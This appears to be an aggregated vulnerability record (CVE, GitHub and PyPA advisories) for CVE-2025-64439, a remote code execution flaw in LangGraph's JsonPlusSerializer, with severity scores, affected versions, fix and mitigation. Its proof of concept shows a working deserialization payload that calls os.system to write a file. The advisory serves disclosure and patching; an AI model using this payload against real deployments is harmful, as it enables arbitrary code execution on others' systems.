{"id":"CVE-2025-64439","aliases":["CVE-2025-64439","GHSA-wwqv-p2pp-99h5","PYSEC-2026-1527"],"related":[],"kind":"vulnerability","state":"published","title":"LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer","summary":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 2.1.2 and below, the JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a Remote Code Execution (RCE) vulnerability when deserializing payloads saved in the \"json\" serialization mode. By default, the serializer attempts to use \"msgpack\" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the \"json\" mode. This issue is fixed in version 3.0.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 2.1.2 and below, the JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a Remote Code Execution (RCE) vulnerability when deserializing payloads saved in the \"json\" serialization mode. By default, the serializer attempts to use \"msgpack\" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the \"json\" mode. This issue is fixed in version 3.0.0.","source":"cvelist"},{"lang":"en","text":"# Summary\n\nPrior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `\"json\"` serialization mode.\n\nIf an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.\n\nUpgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode.\n\nIf you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. \n\n# Details\n\n**Affected file / component**\n\n[jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py)\n\nBy default, the serializer attempts to use `\"msgpack\"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail,  it would fall back to using the `\"json\"` mode.\n\nWhen operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == \"constructor\"`) for custom objects to allow them to be reconstructed at load time.  If an attacker is able to trigger this mode with a malicious payload, deserializing  allow the attacker to execute arbitrary functions upon load.\n\n---\n\n# Who is affected\n\nThis issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who:\n\n1. Allow untrusted or user-supplied data to be persisted into checkpoints, and\n2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `\"json\"` mode.\n\nIf your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.\n\n# Proof of Concept (PoC)\n\n```python\nfrom langgraph.graph import StateGraph \nfrom typing import TypedDict\nfrom langgraph.checkpoint.sqlite import SqliteSaver\n\nclass State(TypedDict):\n    foo: str\n    attack: dict\n\ndef my_node(state: State):\n    return {\"foo\": \"oops i fetched a surrogate \\ud800\"}\n\nwith SqliteSaver.from_conn_string(\"foo.db\") as saver:\n    graph = (\n\t    StateGraph(State).\n\t    add_node(\"my_node\", my_node).\n\t    add_edge(\"__start__\", \"my_node\").\n\t    compile(checkpointer=saver)\n\t )\n    \n\n    attack = {\n        \"lc\": 2,\n        \"type\": \"constructor\",\n        \"id\": [\"os\", \"system\"],\n        \"kwargs\": {\"command\": \"echo pwnd you > /tmp/pwnd.txt\"},\n    }\n    malicious_payload = {\n         \"attack\": attack,\n    }\n\n    thread_id = \"00000000-0000-0000-0000-000000000001\"\n    config = {\"thread_id\": thread_id}\n    # Malicious payload is saved in the first call\n    graph.invoke(malicious_payload, config=config)\n\n    # Malicious payload is deserialized and code is executed in the second call\n    graph.invoke({\"foo\": \"hi there\"}, config=config)\n\n```\n\nRunning this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution.\n\nInternally, this exploits the following code path:\n\n```python\nfrom langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer\n\nserializer = JsonPlusSerializer() # Used within the checkpointer\n\nserialized = serializer.dumps_typed(malicious_payload)\nserializer.loads_typed(serialized)  # Executes os.system(...)\n\n```\n\n---\n\n# Fixed Version\n\nThe vulnerability is fixed in **`langgraph-checkpoint==3.0.0`**\n\nRelease link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0\n\n---\n\n# Fix Description\n\nThe fix introduces an **allow-list** for constructor deserialization, restricting permissible `\"id\"` paths to explicitly approved module/class combinations provided at serializer construction.\n\nAdditionally, saving payloads in `\"json\"` format has been deprecated to remove this unsafe fallback path.\n\n---\n\n# Mitigation\n\nUpgrade immediately to `langgraph-checkpoint==3.0.0`.\n\nThis version is fully compatible with `langgraph>=0.3` and does **not** require any import changes or code modifications.\n\nIn `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.","format":"markdown","source":"ghsa"},{"lang":"es","text":"LangGraph SQLite Checkpoint es una implementación de LangGraph CheckpointSaver que utiliza una base de datos SQLite (tanto síncrona como asíncrona, a través de aiosqlite). En las versiones 2.1.2 e inferiores, el JsonPlusSerializer (utilizado como el protocolo de serialización predeterminado para todo el proceso de checkpointing) contiene una vulnerabilidad de ejecución remota de código (RCE) al deserializar cargas útiles guardadas en el modo de serialización \"json\". Por defecto, el serializador intenta usar \"msgpack\" para la serialización. Sin embargo, antes de la versión 3.0 de la librería del checkpointer, si valores sustitutos Unicode ilegales causaban que la serialización fallara, recurriría al uso del modo \"json\". Este problema está solucionado en la versión 3.0.0.","source":"nvd"}],"published":"2025-11-05T19:52:50.000Z","modified":"2026-07-07T17:56:18.504Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H","score":7.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H","score":7.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H","rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H"}],"cwes":["CWE-502"],"affected":[{"ranges":[{"version":"< 3.0.0","status":"affected"}],"vendor":"langchain-ai","product":"langgraph","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.0.0"}],"ecosystem":"PyPI","package":"langgraph-checkpoint","purl":"pkg:pypi/langgraph-checkpoint","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.0.0"}],"ecosystem":"PyPI","package":"langgraph-checkpoint","purl":"pkg:pypi/langgraph-checkpoint","source":"pysec"}],"references":[{"url":"https://github.com/langchain-ai/langgraph/security/advisories/GHSA-wwqv-p2pp-99h5","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/langchain-ai/langgraph/commit/c5744f583b11745cd406f3059903e17bbcdcc8ac","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64439","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/langchain-ai/langgraph","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/langgraph-checkpoint","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-wwqv-p2pp-99h5","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-11-07T20:21:40.598Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-64439","url":"https://www.cve.org/CVERecord?id=CVE-2025-64439","licence":"CVE Terms of Use","modified":"2025-11-07T20:21:52.610Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-wwqv-p2pp-99h5","url":"https://github.com/advisories/GHSA-wwqv-p2pp-99h5","licence":"CC-BY-4.0","modified":"2026-07-07T17:56:18.504Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-64439","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64439","licence":"Public domain","modified":"2026-06-17T09:54:23.280Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1527","url":"https://osv.dev/vulnerability/PYSEC-2026-1527","licence":"CC-BY-4.0","modified":"2026-07-07T17:46:36.753Z"}],"updatedAt":"2026-11-25T22:59:07.357Z","epss":{"score":0.00915,"percentile":0.61207,"date":"2026-12-01T12:00:22.000Z"}}